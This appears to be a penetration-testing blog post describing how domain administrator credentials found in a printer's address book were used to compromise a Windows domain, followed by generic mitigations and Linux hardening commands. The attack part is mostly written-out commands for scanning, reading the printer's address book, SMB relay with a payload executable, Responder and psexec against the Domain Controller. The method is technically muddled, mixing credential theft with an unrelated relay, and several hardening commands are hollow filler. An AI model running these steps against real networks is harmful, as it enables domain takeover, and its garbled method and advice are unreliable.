Exploiting Cached Domain Administrator Credentials via Printer Address Book

2025-02-05

On a recent engagement, I discovered cached domain administrator credentials within a printer’s address book. This allowed me to perform an SMB relay attack targeted at the Domain Controller, effectively compromising the entire domain. This was a quick and easy win, but it highlights the importance of safeguarding privileged accounts (especially domain administrators) and restricting access to settings/configurations on internal resources.

Understanding the Attack

The attack leverages cached credentials stored in devices like printers, which often have web interfaces or address books that store sensitive information. If these credentials belong to a domain administrator, they can be used to perform an SMB relay attack. This attack intercepts and relays authentication attempts to another machine, allowing the attacker to gain unauthorized access.

Steps to Perform the Attack

Identify Vulnerable Printers: Use tools like `Nmap` to scan the network for printers with open web interfaces.
```
nmap -p 80,443 --open 192.168.1.0/24
```
Extract Cached Credentials: Access the printer’s web interface or address book to retrieve cached credentials.
```
curl http://192.168.1.10/addressbook
```
Set Up SMB Relay Tool: Use tools like `Responder` or `Impacket` to perform the SMB relay attack.
```
python3 smbrelayx.py -h 192.168.1.1 -e payload.exe
```
Capture and Relay Authentication: Wait for authentication attempts and relay them to the Domain Controller.
```
responder -I eth0 -wrf
```
Gain Domain Access: Once the attack is successful, you can execute commands on the Domain Controller.
```
psexec.py domain/[email protected]
```

Mitigation Strategies

Restrict Access: Limit access to printer configurations and web interfaces.
Monitor Logs: Regularly review logs for unusual activity.
Use Strong Passwords: Ensure domain administrators use strong, unique passwords.
Disable Legacy Protocols: Disable SMBv1 and other legacy protocols that are vulnerable to relay attacks.

What Undercode Say

In the realm of cybersecurity, the exploitation of cached credentials is a common yet often overlooked vulnerability. This attack underscores the importance of securing every device on a network, including seemingly innocuous ones like printers. Here are some additional Linux commands and tools to help secure your environment:

Check for Open Ports: Use `netstat` to identify open ports that could be exploited.
```
netstat -tuln
```
Audit User Accounts: Regularly audit user accounts and permissions.
```
cat /etc/passwd
```
Monitor Network Traffic: Use `tcpdump` to monitor network traffic for suspicious activity.
```
tcpdump -i eth0 -n
```
Disable Unnecessary Services: Turn off services that are not needed.
```
systemctl disable smbd
```
Implement Firewall Rules: Use `iptables` to block unauthorized access.
```
iptables -A INPUT -p tcp --dport 445 -j DROP
```
Regularly Update Systems: Ensure all systems are up to date with the latest security patches.
```
sudo apt-get update && sudo apt-get upgrade
```
Use Multi-Factor Authentication: Implement MFA for all privileged accounts.
```
google-authenticator
```
Encrypt Sensitive Data: Use tools like `GPG` to encrypt sensitive information.
```
gpg --encrypt file.txt
```
Backup Critical Data: Regularly backup critical data to prevent data loss.
```
tar -czvf backup.tar.gz /path/to/data
```
Educate Employees: Conduct regular training sessions to educate employees about phishing and social engineering attacks.

By following these practices, you can significantly reduce the risk of falling victim to similar attacks. Always remember, cybersecurity is a continuous process, and vigilance is key to maintaining a secure environment.

For further reading on SMB relay attacks and mitigation techniques, visit:
– Impacket GitHub Repository
– Responder GitHub Repository
– Microsoft SMB Security Best Practices